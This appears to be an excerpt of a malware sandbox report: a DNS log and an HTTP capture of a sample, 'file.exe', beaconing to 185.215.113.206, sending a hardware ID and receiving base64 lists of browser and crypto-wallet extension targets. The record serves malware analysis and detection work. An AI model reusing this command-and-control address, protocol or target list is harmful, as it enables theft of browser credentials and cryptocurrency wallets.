Dec 9, 2024 20:28:56.045422077 CET	1.1.1.1	192.168.2.4	0xebbb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:29:23.151810884 CET	1.1.1.1	192.168.2.4	0x27e2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:29:23.151810884 CET	1.1.1.1	192.168.2.4	0x27e2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:29:24.952840090 CET	1.1.1.1	192.168.2.4	0x7151	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:29:25.000967026 CET	1.1.1.1	192.168.2.4	0xe83a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:29:25.000967026 CET	1.1.1.1	192.168.2.4	0xe83a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:29:25.069742918 CET	1.1.1.1	192.168.2.4	0x1203	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:29:25.069742918 CET	1.1.1.1	192.168.2.4	0x1203	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:29:25.149519920 CET	1.1.1.1	192.168.2.4	0x90e1	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:29:44.653222084 CET	1.1.1.1	192.168.2.4	0xe375	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:29:44.653222084 CET	1.1.1.1	192.168.2.4	0xe375	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:13.205663919 CET	1.1.1.1	192.168.2.4	0x8ab9	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:30:13.205663919 CET	1.1.1.1	192.168.2.4	0x8ab9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:13.225979090 CET	1.1.1.1	192.168.2.4	0x46be	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:13.309436083 CET	1.1.1.1	192.168.2.4	0x3df9	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:13.345552921 CET	1.1.1.1	192.168.2.4	0xb180	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:13.407428980 CET	1.1.1.1	192.168.2.4	0x3df9	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:14.435657978 CET	1.1.1.1	192.168.2.4	0x6d43	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:30:14.435657978 CET	1.1.1.1	192.168.2.4	0x6d43	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:26.148145914 CET	1.1.1.1	192.168.2.4	0xb959	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:30:26.148145914 CET	1.1.1.1	192.168.2.4	0xb959	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:26.148227930 CET	1.1.1.1	192.168.2.4	0xb959	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:30:26.148227930 CET	1.1.1.1	192.168.2.4	0xb959	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:38.365557909 CET	1.1.1.1	192.168.2.4	0xf33c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:30:38.365557909 CET	1.1.1.1	192.168.2.4	0xf33c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:32:29.073395014 CET	1.1.1.1	192.168.2.4	0x8ef6	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:32:29.073395014 CET	1.1.1.1	192.168.2.4	0x8ef6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:32:47.532188892 CET	1.1.1.1	192.168.2.4	0x9910	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:32:47.532188892 CET	1.1.1.1	192.168.2.4	0x9910	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:32:47.586500883 CET	1.1.1.1	192.168.2.4	0x9910	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:32:47.586500883 CET	1.1.1.1	192.168.2.4	0x9910	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:33:53.289182901 CET	1.1.1.1	192.168.2.4	0xcc3e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:33:53.289182901 CET	1.1.1.1	192.168.2.4	0xcc3e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:34:44.163368940 CET	1.1.1.1	192.168.2.4	0xacc3	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:34:45.400532007 CET	1.1.1.1	192.168.2.4	0xcd16	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:34:45.400532007 CET	1.1.1.1	192.168.2.4	0xcd16	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:35:10.923171043 CET	1.1.1.1	192.168.2.4	0x58fb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:35:10.923171043 CET	1.1.1.1	192.168.2.4	0x58fb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:35:40.157510996 CET	1.1.1.1	192.168.2.4	0x1789	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:35:40.157510996 CET	1.1.1.1	192.168.2.4	0x1789	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:27:04.106753111 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:27:05.443106890 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 20:27:05.446459055 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBFBFIIJDAKECAKKJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 41 43 33 34 33 33 34 31 45 30 31 36 37 31 32 32 37 33 30 34 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="hwid"49AC343341E01671227304------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="build"stok------EBFBFBFIIJDAKECAKKJE--
Dec 9, 2024 20:27:05.896282911 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 32 55 30 5a 57 52 6d 4e 6a 6b 30 59 6a 6b 79 4d 47 49 78 4d 47 55 30 4d 47 52 6c 4f 47 46 6d 4d 44 64 6a 59 6d 55 34 4f 44 55 7a 4f 44 59 30 59 6a 67 32 59 57 52 6d 59 7a 59 30 4d 7a 46 6b 4e 57 59 35 4d 44 41 77 4d 44 4a 68 59 54 55 31 4e 6a 56 69 4d 57 55 35 4f 44 49 7a 4d 7a 4e 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Y2U0ZWRmNjk0YjkyMGIxMGU0MGRlOGFmMDdjYmU4ODUzODY0Yjg2YWRmYzY0MzFkNWY5MDAwMDJhYTU1NjViMWU5ODIzMzNmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 9, 2024 20:27:05.897516012 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECFCGHIDHCAKEBFCFHC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 2d 2d 0d 0a Data Ascii: ------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="message"browsers------KECFCGHIDHCAKEBFCFHC--
Dec 9, 2024 20:27:06.336749077 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 9, 2024 20:27:06.336796999 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 9, 2024 20:27:06.369513988 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBGIEGCFHCFHIDHIJEC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="message"plugins------AEBGIEGCFHCFHIDHIJEC--
Dec 9, 2024 20:27:06.809139967 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 9, 2024 20:27:06.809170961 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 9, 2024 20:27:06.809181929 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 9, 2024 20:27:06.809293985 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Dec 9, 2024 20:27:06.809344053 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Dec 9, 2024 20:27:06.809355021 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Dec 9, 2024 20:27:06.809369087 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
